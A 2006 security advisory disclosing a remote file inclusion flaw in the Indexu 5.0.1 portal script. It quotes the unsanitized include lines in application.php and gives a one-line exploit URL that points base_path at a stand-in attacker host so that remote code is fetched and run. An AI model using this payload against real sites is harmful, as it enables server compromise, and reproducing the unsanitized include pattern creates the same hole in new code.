\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/

                                        .OR.ID
ECHO_ADV_26$2006

---------------------------------------------------------------------------
[ECHO_ADV_26$2006] Indexu <= 5.0.1 Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : February, 9th 2006
Location     : Indonesia, Bali
Web          : http://echo.or.id/adv/adv26-K-159-2006.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Indexu

Application : Indexu
version     : 5.0.0 5.0.1
URL         : http://www.nicecoder.com/
Description :

INDEXU is a portal solution software that allows you to build powerful
indexing websites such as yahoo.com, google.com, and dmoz.org with ease.
It's ability to allow you and your members to easily add, organize, and
manage your links makes INDEXU the first choice of all webmasters.

---------------------------------------------------------------------------

Proof of Concept:
~~~~~~~~~~~~~~~~

in application.php code script i found include fopen url
vulnerability that not sanitized.an attacker can exploit this
vulnerability with a simple php injection script.Here is the code of
application.php

---------------application.php--------------------------------
 ...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
------------------------------------------------------------------

Exploit:
~~~~~~~~

http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

Solution:
~~~~~~~~~

sanitize the script code in application.php to protect from this vulerability

Notification:
~~~~~~~~~~~~

 vendor was contact

---------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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